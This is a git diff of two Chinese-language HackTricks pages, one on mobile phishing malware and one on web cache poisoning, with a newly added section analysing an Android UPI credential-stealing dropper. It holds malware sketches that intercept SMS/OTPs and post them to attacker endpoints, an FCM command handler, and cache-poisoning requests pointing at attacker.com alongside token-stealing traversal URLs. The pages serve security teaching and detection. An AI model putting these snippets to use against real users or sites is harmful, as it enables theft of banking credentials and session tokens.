diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index 09aabe8d2..fb36609eb 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
-> 本页涵盖了威胁行为者通过钓鱼(SEO、社交工程、假商店、约会应用等)分发**恶意 Android APK**和**iOS 移动配置文件**的技术。
+> 本页面涵盖了威胁行为者通过钓鱼(SEO、社交工程、假商店、约会应用等)分发**恶意 Android APK**和**iOS 移动配置文件**的技术。
> 材料改编自 Zimperium zLabs(2025)曝光的 SarangTrap 活动和其他公开研究。
## 攻击流程
@@ -11,38 +11,38 @@
1. **SEO/钓鱼基础设施**
* 注册数十个相似域名(约会、云分享、汽车服务等)。
– 在 `
` 元素中使用本地语言关键词和表情符号以在 Google 中排名。
-– 在同一着陆页上托管 *Android*(`.apk`)和 *iOS* 安装说明。
+– 在同一着陆页上托管*Android*(`.apk`)和*iOS* 安装说明。
2. **第一阶段下载**
-* Android:直接链接到 *未签名* 或“第三方商店”APK。
-* iOS:`itms-services://` 或普通 HTTPS 链接到恶意 **mobileconfig** 配置文件(见下文)。
+* Android:直接链接到*未签名*或“第三方商店”APK。
+* iOS:`itms-services://`或普通 HTTPS 链接到恶意**mobileconfig**配置文件(见下文)。
3. **安装后的社交工程**
-* 应用首次运行时要求输入 **邀请/验证代码**(独占访问幻觉)。
-* 代码通过 **HTTP POST** 发送到指挥与控制(C2)。
+* 应用首次运行时要求输入**邀请/验证代码**(独占访问幻觉)。
+* 代码通过**HTTP POST**发送到指挥与控制(C2)。
* C2 回复 `{"success":true}` ➜ 恶意软件继续。
-* 沙箱/AV 动态分析未提交有效代码时不会看到 **恶意行为**(规避)。
+* 动态分析沙箱/AV未提交有效代码时未见**恶意行为**(规避)。
4. **运行时权限滥用**(Android)
-* 危险权限仅在 **C2 正面响应后** 请求:
+* 仅在收到正面 C2 响应后请求危险权限:
```xml
```
-* 最近的变种 **从 `AndroidManifest.xml` 中移除 SMS 的 ``**,但保留通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 降低静态评分,同时在通过 `AppOps` 滥用或旧目标授予权限的设备上仍然有效。
+* 最近的变种**从 `AndroidManifest.xml` 中移除 SMS 的 ``**,但保留通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 降低静态评分,同时在通过 `AppOps` 滥用或旧目标授予权限的设备上仍然有效。
5. **外观 UI 和后台收集**
* 应用显示无害视图(SMS 查看器、图库选择器)在本地实现。
-* 同时它提取:
+* 同时,它提取:
- IMEI / IMSI,电话号码
- 完整的 `ContactsContract` 转储(JSON 数组)
- 从 `/sdcard/DCIM` 压缩的 JPEG/PNG,使用 [Luban](https://github.com/Curzibn/Luban) 减小大小
- 可选 SMS 内容(`content://sms`)
有效载荷通过 `HTTP POST /upload.php` **批量压缩**并发送。
6. **iOS 交付技术**
-* 单个 **移动配置文件** 可以请求 `PayloadType=com.apple.sharedlicenses`,`com.apple.managedConfiguration` 等,以将设备注册到“MDM”类监督中。
+* 单个**移动配置文件**可以请求 `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等,以将设备注册到“MDM”类监督中。
* 社交工程指令:
1. 打开设置 ➜ *配置文件已下载*。
2. 点击 *安装* 三次(钓鱼页面上的截图)。
-3. 信任未签名的配置文件 ➜ 攻击者获得 *联系人* 和 *照片* 权限,无需 App Store 审核。
+3. 信任未签名的配置文件 ➜ 攻击者获得*联系人*和*照片*权限,无需 App Store 审核。
7. **网络层**
* 普通 HTTP,通常在端口 80 上,HOST 头如 `api..com`。
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(无 TLS → 易于发现)。
@@ -80,15 +80,133 @@ return conn;
};
});
```
-## 指标(通用)
+## 指标 (通用)
```
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
-## 参考
+---
-- [浪漫的黑暗面:SarangTrap 敲诈活动](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
-- [Luban – Android 图像压缩库](https://github.com/Curzibn/Luban)
+## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
+
+此模式已在利用政府福利主题的活动中观察到,目的是窃取印度UPI凭证和一次性密码(OTPs)。操作者链式使用信誉良好的平台以实现交付和韧性。
+
+### 通过受信平台的交付链
+- YouTube视频诱饵 → 描述中包含一个短链接
+- 短链接 → GitHub Pages钓鱼网站模仿合法门户
+- 同一GitHub仓库托管一个带有假“Google Play”徽章的APK,直接链接到文件
+- 动态钓鱼页面托管在Replit上;远程命令通道使用Firebase Cloud Messaging (FCM)
+
+### 带有嵌入有效载荷和离线安装的投放器
+- 第一个APK是一个安装程序(投放器),它在`assets/app.apk`中传送真实恶意软件,并提示用户禁用Wi‑Fi/移动数据以减轻云检测。
+- 嵌入的有效载荷以无害标签(例如,“安全更新”)安装。安装后,安装程序和有效载荷作为独立应用程序存在。
+
+静态分类提示(grep嵌入有效载荷):
+```bash
+unzip -l sample.apk | grep -i "assets/app.apk"
+# Or:
+zipgrep -i "classes|.apk" sample.apk | head
+```
+### 动态端点发现通过短链接
+- 恶意软件从短链接获取一个纯文本的、以逗号分隔的活动端点列表;简单的字符串转换生成最终的钓鱼页面路径。
+
+示例(已清理):
+```
+GET https://rebrand.ly/dclinkto2
+Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
+Transform: "gate.html" → "gate.htm" (loaded in WebView)
+UPI credential POST: https://sqcepo.replit.app/addup.php
+SMS upload: https://sqcepo.replit.app/addsm.php
+```
+伪代码:
+```java
+String csv = httpGet(shortlink);
+String[] parts = csv.split(",");
+String upiPage = parts[0].replace("gate.html", "gate.htm");
+String smsPost = parts[1];
+String credsPost = upiPage.replace("gate.htm", "addup.php");
+```
+### 基于WebView的UPI凭证收集
+- “支付₹1 / UPI‑Lite”步骤从动态端点加载攻击者的HTML表单到WebView中,并捕获敏感字段(电话、银行、UPI PIN),这些字段会被`POST`到`addup.php`。
+
+最小加载器:
+```java
+WebView wv = findViewById(R.id.web);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.loadUrl(upiPage); // ex: https:///gate.htm
+```
+### 自我传播和短信/一次性密码拦截
+- 在首次运行时请求激进的权限:
+```xml
+
+
+
+
+```
+- 联系人被循环用于从受害者的设备上批量发送钓鱼短信。
+- 通过广播接收器拦截传入的短信,并将其与元数据(发送者、内容、SIM卡插槽、每个设备的随机ID)一起上传到`/addsm.php`。
+
+接收器草图:
+```java
+public void onReceive(Context c, Intent i){
+SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
+for (SmsMessage m: msgs){
+postForm(urlAddSms, new FormBody.Builder()
+.add("senderNum", m.getOriginatingAddress())
+.add("Message", m.getMessageBody())
+.add("Slot", String.valueOf(getSimSlot(i)))
+.add("Device rand", getOrMakeDeviceRand(c))
+.build());
+}
+}
+```
+### Firebase Cloud Messaging (FCM) 作为弹性 C2
+- 负载注册到 FCM;推送消息携带一个 `_type` 字段,用作触发动作的开关(例如,更新钓鱼文本模板,切换行为)。
+
+示例 FCM 负载:
+```json
+{
+"to": "",
+"data": {
+"_type": "update_texts",
+"template": "New subsidy message..."
+}
+}
+```
+处理程序草图:
+```java
+@Override
+public void onMessageReceived(RemoteMessage msg){
+String t = msg.getData().get("_type");
+switch (t){
+case "update_texts": applyTemplate(msg.getData().get("template")); break;
+case "smish": sendSmishToContacts(); break;
+// ... more remote actions
+}
+}
+```
+### Hunting patterns and IOCs
+- APK包含次要有效载荷在`assets/app.apk`
+- WebView从`gate.htm`加载支付并外泄到`/addup.php`
+- 短信外泄到`/addsm.php`
+- 短链接驱动的配置获取(例如,`rebrand.ly/*`)返回CSV端点
+- 应用标记为通用“更新/安全更新”
+- FCM `data`消息在不受信任的应用中带有`_type`区分符
+
+### Detection & defence ideas
+- 标记指示用户在安装期间禁用网络的应用,然后从`assets/`侧载第二个APK。
+- 对权限元组发出警报:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + 基于WebView的支付流程。
+- 对非企业主机的`POST /addup.php|/addsm.php`进行出口监控;阻止已知基础设施。
+- 移动EDR规则:不受信任的应用注册FCM并在`_type`字段上分支。
+
+---
+
+## References
+
+- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
+- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
+- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
+- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 41dfdc57a..5e38fa2a5 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -4,28 +4,28 @@
## The difference
-> **Web缓存中毒和Web缓存欺骗之间有什么区别?**
+> **web cache poisoning 和 web cache deception 之间有什么区别?**
>
-> - 在**Web缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容会从缓存中提供给其他应用程序用户。
-> - 在**Web缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
+> - 在 **web cache poisoning** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容会从缓存中提供给其他应用程序用户。
+> - 在 **web cache deception** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
## Cache Poisoning
-缓存中毒旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
+Cache poisoning 旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
-执行缓存中毒攻击涉及几个步骤:
+执行 cache poisoning 攻击涉及几个步骤:
-1. **识别无键输入**:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
-2. **利用无键输入**:在识别无键输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
+1. **识别未键入的输入**:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
+2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
### Discovery: Check HTTP headers
-通常,当响应被**存储在缓存中**时,会有一个**指示的头部**,您可以在此帖子中检查应该关注哪些头部:[**HTTP缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
+通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头部**,您可以查看在此帖子中应关注哪些头部:[**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### Discovery: Caching error codes
-如果您认为响应正在被存储在缓存中,您可以尝试**发送带有错误头部的请求**,这应该会以**状态码400**响应。然后尝试正常访问请求,如果**响应是400状态码**,您就知道它是脆弱的(您甚至可以执行DoS)。
+如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头的请求**,这应该会以 **状态码 400** 响应。然后尝试正常访问请求,如果 **响应是 400 状态码**,您就知道它是脆弱的(您甚至可以执行 DoS)。
您可以在以下位置找到更多选项:
@@ -33,11 +33,11 @@
cache-poisoning-to-dos.md
{{#endref}}
-但是,请注意,**有时这些状态码不会被缓存**,因此此测试可能不可靠。
+但是,请注意 **有时这些状态码不会被缓存**,因此此测试可能不可靠。
### Discovery: Identify and evaluate unkeyed inputs
-您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头部**。例如,一个页面可能使用头部`X-Forwarded-For`来指示客户端从那里加载脚本:
+您可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来 **暴力破解可能会改变页面响应的参数和头部**。例如,一个页面可能使用头部 `X-Forwarded-For` 来指示客户端从那里加载脚本:
```html
```
@@ -71,7 +71,7 @@ X-Forwarded-Host: a.">"
```
_注意,这将使对 `/en?region=uk` 的请求中毒,而不是 `/en`_
-### 缓存中毒导致拒绝服务
+### 缓存中毒以进行 DoS
{{#ref}}
cache-poisoning-to-dos.md
@@ -81,7 +81,7 @@ cache-poisoning-to-dos.md
在 **[这篇文章](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** 中解释了以下简单场景:
-- CDN 将缓存任何位于 `/share/` 下的内容
+- CDN 将缓存 `/share/` 下的任何内容
- CDN 不会解码或规范化 `%2F..%2F`,因此可以用作 **路径遍历以访问其他将被缓存的敏感位置**,例如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web 服务器将解码和规范化 `%2F..%2F`,并将响应 `/api/auth/session`,该响应 **包含身份验证令牌**。
@@ -105,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
### 通过路径遍历进行缓存中毒以窃取 API 密钥
-[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个 URL 如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时会发生。
+[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 在请求到达 web 服务器时并未对 URL 进行规范化。
这在以下内容中也有更好的解释:
@@ -115,14 +115,14 @@ cache-poisoning-via-url-discrepancies.md
### 使用多个头部来利用 web 缓存中毒漏洞
-有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
+有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将所有 HTTP 请求转发** 到 HTTPS,并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
-### 利用有限的 `Vary` 头
+### 利用有限的 `Vary`头
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent,并使用该用户代理来污染缓存:
```html
@@ -133,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
-发送一个带有请求的 GET 请求,URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存的是 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞:
+发送一个带有请求的 GET 请求,URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存了 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -146,13 +146,13 @@ report=innocent-victim
### 参数伪装
-例如,在ruby服务器中,可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并加以利用。
+例如,在ruby服务器中,可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并进行滥用。
Portswigger实验室:[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### 通过滥用HTTP请求走私来利用HTTP缓存中毒
-在这里了解如何通过滥用[HTTP请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
+在这里了解如何通过滥用HTTP请求走私来执行[缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### Web缓存中毒的自动化测试
@@ -170,11 +170,11 @@ Portswigger实验室:[https://portswigger.net/web-security/web-cache-poisoning
实用配方(在一个流行的CDN/WAF中观察到):
-1) 从一个干净的IP(避免之前基于声誉的降级),通过浏览器或Burp Proxy Match & Replace设置一个恶意的`User-Agent`。
+1) 从一个干净的IP(避免先前基于声誉的降级),通过浏览器或Burp Proxy Match & Replace设置一个恶意的`User-Agent`。
2) 在Burp Repeater中,准备一组两个请求并使用“并行发送组”(单包模式效果最佳):
- 第一个请求:GET同一来源上的`.js`资源路径,同时发送你的恶意`User-Agent`。
- 紧接着:GET主页面(`/`)。
-3) CDN/WAF路由竞争加上自动缓存的`.js`通常会播种一个被毒化的缓存HTML变体,然后提供给共享相同缓存键条件的其他访客(例如,相同的`Vary`维度,如`User-Agent`)。
+3) CDN/WAF路由竞争加上自动缓存的`.js`通常会播种一个被毒化的缓存HTML变体,然后提供给共享相同缓存键条件的其他访客(例如,具有相同`Vary`维度如`User-Agent`)。
示例头部有效负载(用于提取非HttpOnly cookies):
```
@@ -188,7 +188,7 @@ User-Agent: Mo00ozilla/5.0